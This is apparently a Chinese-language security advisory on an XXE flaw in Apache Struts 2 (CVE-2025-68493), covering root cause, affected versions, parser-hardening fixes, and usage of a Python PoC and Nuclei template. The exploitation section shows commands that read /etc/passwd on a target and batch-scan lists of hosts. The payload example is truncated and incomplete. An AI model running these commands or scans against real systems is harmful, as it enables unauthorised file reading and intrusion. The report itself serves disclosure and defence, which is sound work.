# CVE-2025-68493 Apache Struts 2 XXE 漏洞详细分析报告
## 1. 漏洞背景
Apache Struts 2 是一个广泛应用于企业级 Web 应用程序开发的开源 MVC 框架。XML 外部实体注入(XXE)是一种常见的 Web 漏洞,当 XML 解析器处理包含外部实体引用的 XML 输入时,如果未正确配置安全参数,攻击者可以利用此漏洞读取本地文件、执行远程请求或进行其他恶意操作。CVE-2025-68493 便是 Apache Struts 2 中存在的一个 XXE 漏洞,它允许攻击者通过构造恶意 XML 来实现任意文件读取。
## 2. 漏洞描述
CVE-2025-68493 漏洞存在于 Apache Struts 2 的 `com.opensymphony.xwork2.util.DomHelper.parse` 方法中。该漏洞的根本原因在于 Struts 2 在解析 XML 时,未正确限制外部实体的访问。当应用程序使用 `DomHelper.parse` 方法解析用户提供的 XML 数据时,如果 XML 中包含外部实体声明,且未正确配置安全参数,解析器会尝试加载并解析这些外部实体,从而导致 XXE 攻击 [1]。
## 3. 技术原理
Java 的 JAXP(Java API for XML Processing)在解析 XML 时,默认允许访问外部实体(通过 `ACCESS_EXTERNAL_DTD` 和 `ACCESS_EXTERNAL_SCHEMA` 参数控制)。在 Struts 2 的实现中,当 `dtdMappings` 为 `null` 时,会直接使用 `SAXParserFactory` 创建解析器。在这种默认配置下,这些安全参数未被正确设置,导致解析器可以访问外部实体 [1]。
攻击者可以构造包含外部实体引用的恶意 XML 数据。当应用程序使用 `DomHelper.parse` 方法解析该 XML 时,解析器在处理 DTD 声明时,会尝试加载 `SYSTEM` 实体中指定的外部资源。例如,如果 `SYSTEM` 实体指向 `file:///etc/passwd`,服务器就会将 `/etc/passwd` 文件的内容作为 XML 解析结果返回,从而实现任意文件读取。
**恶意 XML Payload 示例:**
```xml
]>
&xxe;
```
## 4. 影响范围
根据参考资料,该漏洞影响 Apache Struts 2 版本 **6.1.0 及以下** [1]。
## 5. 危害
成功利用此 XXE 漏洞可能导致以下危害:
* **任意文件读取**: 攻击者可以读取服务器上的敏感文件,例如配置文件、源代码、用户凭据等。
* **拒绝服务 (DoS)**: 攻击者可以通过引用大量外部实体或构造递归实体来消耗服务器资源,导致服务不可用。
* **端口扫描**: 攻击者可以利用 XXE 发起对内网的端口扫描。
* **服务器端请求伪造 (SSRF)**: 攻击者可以强制服务器向内部或外部网络上的任意 URL 发送请求。
## 6. 修复建议
为了修复 CVE-2025-68493 漏洞,建议采取以下措施:
* **升级 Apache Struts 2 版本**: 尽快将 Apache Struts 2 升级到不受影响的最新版本。
* **禁用外部实体**: 在应用程序中配置 XML 解析器,明确禁用外部实体解析。例如,可以通过设置 `SAXParserFactory` 的特性来禁用外部 DTD 和外部 Schema 的访问。
* `factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);`
* `factory.setFeature("http://xml.org/sax/features/external-general-entities", false);`
* `factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);`
* **输入验证**: 对用户提交的 XML 数据进行严格的输入验证和过滤,确保不包含恶意外部实体引用。
## 7. 参考资料
[1] ApacheStrutsXWorkXML漏洞CVE-2025-68493poc及脚本 | ZONE.CI 全球网. [https://zone.ci/secarticles/wx/486533.html](https://zone.ci/secarticles/wx/486533.html)
## 8. 漏洞验证与利用
为了验证和利用 CVE-2025-68493 漏洞,可以使用以下提供的 Python PoC 脚本和 Nuclei YAML 模板。
### 8.1 Python PoC 脚本使用方法
**脚本名称**: `cve_2025_68493_poc.py`
**功能**: 该脚本用于对单个目标进行漏洞验证,尝试读取指定文件(默认为 `/etc/passwd`)。
**使用前提**:
* Python 3 环境
* `requests` 库 (`pip install requests`)
**命令行参数**:
* `-u`, `--url`: 目标应用程序的基 URL (例如: `http://127.0.0.1:8080`)
* `-f`, `--file`: 尝试读取的目标文件路径 (默认为 `/etc/passwd`)
**示例**:
```bash
python3 cve_2025_68493_poc.py -u http://example.com:8080 -f /etc/passwd
```
**预期输出**:
如果目标存在漏洞且成功读取文件,将显示类似以下内容:
```
[*] Testing URL: http://example.com:8080/struts2-xml-parser/xmlParserNoDtdParse
[*] Payload: ]> &xxe;
[+] Vulnerable! Successfully read /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
----------------------------------------
```
### 8.2 Nuclei YAML 模板使用方法
**模板名称**: `cve-2025-68493.yaml`
**功能**: 该模板用于使用 Nuclei 工具对多个目标进行批量扫描,以检测 CVE-2025-68493 漏洞。
**使用前提**:
* 已安装 Nuclei 工具 (推荐 v3.x 及以上版本)
**命令行参数**:
* `-t`: 指定 Nuclei 模板文件路径
* `-u`: 指定单个目标 URL
* `-l`: 指定包含多个目标 URL 的文件
**示例**:
**扫描单个目标**:
```bash
nuclei -t cve-2025-68493.yaml -u http://example.com:8080
```
**批量扫描**:
假设您有一个名为 `targets.txt` 的文件,其中每行包含一个目标 URL:
```
http://target1.com:8080
http://target2.com:8080
```
执行以下命令进行批量扫描:
```bash
nuclei -t cve-2025-68493.yaml -l targets.txt
```
**预期输出**:
如果目标存在漏洞,Nuclei 将报告发现的漏洞信息,例如:
```
[CVE-2025-68493] [high] Apache Struts 2 - XML External Entity (XXE) Injection at http://example.com:8080/struts2-xml-parser/xmlParserNoDtdParse
```
**请注意**: 在进行任何安全测试之前,请务必获得明确的授权。未经授权的测试可能导致法律后果。